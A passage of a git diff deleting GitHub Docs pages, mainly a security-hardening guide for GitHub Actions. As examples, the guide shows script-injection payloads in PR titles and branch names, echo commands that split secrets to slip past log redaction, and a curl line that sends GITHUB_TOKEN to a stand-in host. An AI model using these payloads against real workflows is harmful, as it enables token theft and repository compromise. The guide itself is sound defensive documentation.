"rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows. - -We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too. - -Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. - -Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable. - -### Defining your migration schedule - -After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}. - -First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends. - -Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver. - -## Migrating to {% data variables.product.prodname_actions %} - -When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above. - -You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts. - -## Retiring existing systems - -After your migration is complete, you can think about retiring your existing system. - -You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers. - -Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on. - -## Next steps - -Next, learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}. See [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud). diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/security-hardening-for-github-actions.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/security-hardening-for-github-actions.md deleted file mode 100644 index 0118e3c41754..000000000000 --- a/content/enterprise-onboarding/github-actions-for-your-enterprise/security-hardening-for-github-actions.md +++ /dev/null @@ -1,364 +0,0 @@ ---- -title: Security hardening for GitHub Actions -shortTitle: Security hardening -intro: 'Learn security practices for using {% data variables.product.prodname_actions %} features.' -versions: - ghec: '*' -type: overview -topics: - - Security - - Actions -allowTitleToDifferFromFilename: true ---- - -## Overview - -This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). - -## Using secrets - -Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/security-guides/using-secrets-in-github-actions) can be configured at the organization, repository, or environment level, and allow you to store sensitive information in {% data variables.product.github %}. - -Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.github %}. This occurs when the secret is submitted [using the UI](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository) or through the [REST API](/rest/actions/secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.github %}'s infrastructure. Once the secret is uploaded, {% data variables.product.github %} is then able to decrypt it so that it can be injected into the workflow runtime. - -To help prevent accidental disclosure, {% data variables.product.github %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets used within the job, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. Additionally, the runner can only redact secrets used within the current job. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets: - -* **Never use structured data as a secret** - * Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value. -* **Register all secrets used within workflows** - * If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output. - * Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too. -* **Audit how secrets are handled** - * Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. - * View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. For information on how to clean up workflow logs that may unintentionally contain sensitive data, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#deleting-logs). -* **Use credentials that are minimally scoped** - * Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. - * Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). -* **Audit and rotate registered secrets** - * Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. - * Rotate secrets periodically to reduce the window of time during which a compromised secret is valid. -* **Consider requiring review for access to secrets** - * You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) and [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment). - -> [!WARNING] -> Any user with write access to your repository has read access to all secrets configured in your repository. Therefore, you should ensure that the credentials being used within workflows have the least privileges required. - -## Using `CODEOWNERS` to monitor changes - -You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. - -For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). - -## Understanding the risk of script injections - -When creating workflows, [custom actions](/actions/creating-actions/about-custom-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action), you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. - - Attackers can add their own malicious content to the [`github` context](/actions/learn-github-actions/contexts#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. - - You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner). - -In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. - -The following sections explain how you can help mitigate the risk of script injection. - -### Example of a script injection attack - -A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: - -{% raw %} - -```yaml - - name: Check PR title - run: | - title="${{ github.event.pull_request.title }}" - if [[ $title =~ ^octocat ]]; then - echo "PR title starts with 'octocat'" - exit 0 - else - echo "PR title did not start with 'octocat'" - exit 1 - fi -``` - -{% endraw %} - -This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. - -To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: - -![Screenshot of the title of a pull request in edit mode. A new title has been entered in the field: a"; ls $GITHUB_WORKSPACE".](/assets/images/help/actions/example-script-injection-pr-title.png) - -In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: - -```shell -Run title="a"; ls $GITHUB_WORKSPACE"" -README.md -code.yml -example.js -``` - -## Good practices for mitigating script injection attacks - -There are a number of different approaches available to help you mitigate the risk of script injection: - -### Using an action instead of an inline script (recommended) - -The recommended approach is to create a JavaScript action that processes the context value as an argument. This approach is not vulnerable to the injection attack, since the context value is not used to generate a shell script, but is instead passed to the action as an argument: - -```yaml -uses: fakeaction/checktitle@v3 -with: - title: {% raw %}${{ github.event.pull_request.title }}{% endraw %} -``` - -### Using an intermediate environment variable - -For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable. - -The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable: - -```yaml - - name: Check PR title - env: - TITLE: {% raw %}${{ github.event.pull_request.title }}{% endraw %} - run: | - if [[ "$TITLE" =~ ^octocat ]]; then - echo "PR title starts with 'octocat'" - exit 0 - else - echo "PR title did not start with 'octocat'" - exit 1 - fi -``` - -In this example, the attempted script injection is unsuccessful, which is reflected by the following lines in the log: - -```shell - env: - TITLE: a"; ls $GITHUB_WORKSPACE" -PR title did not start with 'octocat' -``` - -With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}. - -### Using workflow templates for {% data variables.product.prodname_code_scanning %} - -{% data reusables.advanced-security.starter-workflows-beta %} -{% data variables.product.prodname_code_scanning_caps %} allows you to find security vulnerabilities before they reach production. {% data variables.product.github %} provides workflow templates for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short %}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party workflow templates available. - -For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning#configuring-code-scanning-using-third-party-actions). - -### Restricting permissions for tokens - -To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token). - -## Managing permissions for {% data variables.product.prodname_actions %} settings in your organization - -You can practice the principle of least privilege for your organization's CI/CD pipeline with {% data variables.product.prodname_actions %} by administering custom organization roles. A custom organization role is a way to grant an individual or team in your organization the ability to control certain subsets of settings without granting full administrative control of the organization and its repositories. - -{% data reusables.actions.org-roles-for-gh-actions %} - -For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). - -## Using OpenID Connect to access cloud resources - -{% data reusables.actions.about-oidc-short-overview %} - -{% data reusables.actions.oidc-custom-claims-aws-restriction %} - -## Using third-party actions - -The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them. - -This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner). - -You can help mitigate this risk by following these good practices: - -* **Pin actions to a full length commit SHA** - - Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. {% data reusables.actions.actions-pin-commit-sha %} - -* **Audit the source code of the action** - - Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged. - -* **Pin actions to a tag only if you trust the creator** - - Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action. - -## Reusing third-party workflows - -The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -## Using {% data variables.product.prodname_dependabot_version_updates %} to keep actions up to date - -{% data reusables.actions.dependabot-version-updates-for-actions %} - -## Allowing workflows to access internal and private repositories - -{% data reusables.actions.outside-collaborators-actions %} For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). - -{% data reusables.actions.scoped-token-note %} - -## Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests - -{% data reusables.actions.workflow-pr-approval-permissions-intro %} Allowing workflows, or any other automation, to create or approve pull requests could be a security risk if the pull request is merged without proper oversight. - -For more information on how to configure this setting, see [AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests), [Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-creating-or-approving-pull-requests), and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests). - -## Using {% data variables.product.prodname_code_scanning %} to secure workflows - -{% data reusables.code-scanning.beta-actions-analysis %} - -{% data variables.product.prodname_code_scanning_caps %} can automatically detect and suggest improvements for common vulnerable patterns used in {% data variables.product.prodname_actions %} workflows. -For more information on how to enable {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). - -## Using OpenSSF Scorecards to secure workflow dependencies - -[Scorecards](https://github.com/ossf/scorecard) is an automated security tool that flags risky supply chain practices. You can use the [Scorecards action](https://github.com/marketplace/actions/ossf-scorecard-action) and [workflow template](https://github.com/actions/starter-workflows) to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in {% data variables.product.prodname_code_scanning %} experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions. - -## Potential impact of a compromised runner - -These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. - -> [!NOTE] -> {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library. - -### Accessing secrets - -Workflows triggered from a forked repository using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues`, `push` and `pull_request` from a branch within the repository, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). - -* If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. -* If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. -* For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: - - {% raw %} - - ```yaml - uses: fakeaction/publish@v3 - with: - key: ${{ secrets.PUBLISH_KEY }} - ``` - - {% endraw %} - -Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker. - -### Exfiltrating data from a runner - -An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/security-guides/using-secrets-in-github-actions#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. - -### Stealing the job's `GITHUB_TOKEN` - -It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`. - -### Modifying the contents of a repository - -The attacker server can use the {% data variables.product.github %} API to [modify repository content](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token). - -## Considering cross-repository access - -{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. - -If your organization is owned by an enterprise account, then you can share and reuse {% data variables.product.prodname_actions %} by storing them in internal repositories. For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). - -You can perform other privileged, cross-repository interactions by referencing a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. - -This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: - -1. **The `GITHUB_TOKEN`** - * This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). - * The `GITHUB_TOKEN` should be used whenever possible. -1. **Repository deploy key** - * Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). - * Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. -1. **{% data variables.product.prodname_github_app %} tokens** - * {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). -1. **{% data variables.product.pat_generic %}s** - * You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in. - * If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% data variables.product.pat_v2 %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. -1. **SSH keys on a personal account** - * Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. - -## Hardening for {% data variables.product.prodname_dotcom %}-hosted runners - -{% data reusables.actions.enterprise-github-hosted-runners %} - -{% data variables.product.prodname_dotcom %}-hosted runners take measures to help you mitigate security risks. - -### Reviewing the supply chain for {% data variables.product.prodname_dotcom %}-hosted runners - -For {% data variables.product.prodname_dotcom %}-hosted runners created from images maintained by {% data variables.product.company_short %}, you can view a software bill of materials (SBOM) to see what software was pre-installed on the runner. You can provide your users with the SBOM which they can run through a vulnerability scanner to validate if there are any vulnerabilities in the product. If you are building artifacts, you can include this SBOM in your bill of materials for a comprehensive list of everything that went into creating your software. - -SBOMs are available for Ubuntu, Windows, and macOS runner images maintained by {% data variables.product.company_short %}. You can locate the SBOM for your build in the release assets at https://github.com/actions/runner-images/releases. An SBOM with a filename in the format of `sbom.IMAGE-NAME.json.zip` can be found in the attachments of each release. - -For third-party images, such as the images for ARM-powered runners, you can find details of the software that's included in the image in the [`actions/partner-runner-images` repository](https://github.com/actions/partner-runner-images). - -### Denying access to hosts - -{% data reusables.actions.runners-etc-hosts-file %} For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). - -## Hardening for self-hosted runners - -**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. - -**Self-hosted** runners for {% data variables.product.github %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. - -As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#self-hosted-runner-security) on {% data variables.product.github %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which, depending on its settings, can grant write access to the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. - -{% data reusables.actions.disable-selfhosted-runners-crossrefs %} - -When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.github %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. You can restrict what workflows, organizations and repositories can access runner groups. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). - -You should also consider the environment of the self-hosted runner machines: -* What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others. -* Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment. - -Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages. - -### Using just-in-time runners - -To improve runner registration security, you can use the REST API to create ephemeral, just-in-time (JIT) runners. These self-hosted runners perform at most one job before being automatically removed from the repository, organization, or enterprise. For more information about configuring JIT runners, see [AUTOTITLE](/rest/actions/self-hosted-runners#create-configuration-for-a-just-in-time-runner-for-an-organization). - -> [!NOTE] -> Re-using hardware to host JIT runners can risk exposing information from the environment. Use automation to ensure the JIT runner uses a clean environment. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners#using-ephemeral-runners-for-autoscaling). - -Once you have the config file from the REST API response, you can pass it to the runner at startup. - -```shell -./run.sh --jitconfig ${encoded_jit_config} -``` - -### Planning your management strategy for self-hosted runners - -A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner: - -**Centralized management:** -* If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. -* If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future. - -**Decentralized management:** -* If each team will manage their own self-hosted runners, then the recommendation is to add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. -* You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories. - -### Authenticating to your cloud provider - -If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). - -## Auditing {% data variables.product.prodname_actions %} events - -You can use the security log to monitor activity for your user account and the audit log to monitor activity in your organization or enterprise. The security and audit log records the type of action, when it was run, and which personal account performed the action. - -For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets. - -![Screenshot showing a search for "action:org.update_actions_secret" in the audit log for an organization. Two results are shown.](/assets/images/help/repository/audit-log-entries.png) - -For the full list of events that you can find in the audit log for each account type, see the following articles: - -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events) -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization) -* [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) - -## Next steps - -Next, learn about billing for {% data variables.product.prodname_actions %}. See [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/about-billing-for-github-actions). diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/understanding-github-actions.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/understanding-github-actions.md deleted file mode 100644 index e2279f93317f..000000000000 --- a/content/enterprise-onboarding/github-actions-for-your-enterprise/understanding-github-actions.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Understanding GitHub Actions -shortTitle: Understand GitHub Actions -intro: 'Learn the basics of {% data variables.product.prodname_actions %}, including core concepts and essential terminology.' -versions: - ghec: '*' -type: overview -topics: - - Fundamentals - - Actions -allowTitleToDifferFromFilename: true ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -{% data reusables.actions.about-actions %} You can create workflows that build and test every pull request to your repository, or deploy merged pull requests to production. - -{% data variables.product.prodname_actions %} goes beyond just DevOps and lets you run workflows when other events happen in your repository. For example, you can run a workflow to automatically add the appropriate labels whenever someone creates a new issue in your repository. - -{% data variables.product.prodname_dotcom %} provides Linux, Windows, and macOS virtual machines to run your workflows, or you can host your own self-hosted runners in your own data center or cloud infrastructure. - -For more information about introducing {% data variables.product.prodname_actions %} to your enterprise, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). - -## The components of {% data variables.product.prodname_actions %} - -You can configure a {% data variables.product.prodname_actions %} **workflow** to be triggered when an **event** occurs in your repository, such as a pull request being opened or an issue being created. Your workflow contains one or more **jobs** which can run in sequential order or in parallel. Each job will run inside its own virtual machine **runner**, or inside a container, and has one or more **steps** that either run a script that you define or run an **action**, which is a reusable extension that can simplify your workflow. - -![Diagram of an event triggering Runner 1 to run Job 1, which triggers Runner 2 to run Job 2. Each of the jobs is broken into multiple steps.](/assets/images/help/actions/overview-actions-simple.png) - -### Workflows - -{% data reusables.actions.about-workflows-long %} - -You can reference a workflow within another workflow. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -For more information, see [AUTOTITLE](/actions/using-workflows). - -### Events - -An **event** is a specific activity in a repository that triggers a **workflow** run. For example, an activity can originate from {% data variables.product.prodname_dotcom %} when someone creates a pull request, opens an issue, or pushes a commit to a repository. You can also trigger a workflow to run on a [schedule](/actions/using-workflows/events-that-trigger-workflows#schedule), by [posting to a REST API](/rest/repos/repos#create-a-repository-dispatch-event), or manually. - -For a complete list of events that can be used to trigger workflows, see [Events that trigger workflows](/actions/using-workflows/events-that-trigger-workflows). - -### Jobs - -A **job** is a set of **steps** in a workflow that is executed on the same **runner**. Each step is either a shell script that will be executed, or an **action** that will be run. Steps are executed in order and are dependent on each other. Since each step is executed on the same runner, you can share data from one step to another. For example, you can have a step that builds your application followed by a step that tests the application that was built. - -You can configure a job's dependencies with other jobs; by default, jobs have no dependencies and run in parallel. When a job takes a dependency on another job, it waits for the dependent job to complete before running. - -For example, you might configure multiple build jobs for different architectures without any job dependencies and a packaging job that depends on those builds. The build jobs run in parallel, and once they complete successfully, the packaging job runs. - -For more information, see [AUTOTITLE](/actions/using-jobs). - -### Actions - -An **action** is a custom application for the {% data variables.product.prodname_actions %} platform that performs a complex but frequently repeated task. Use an action to 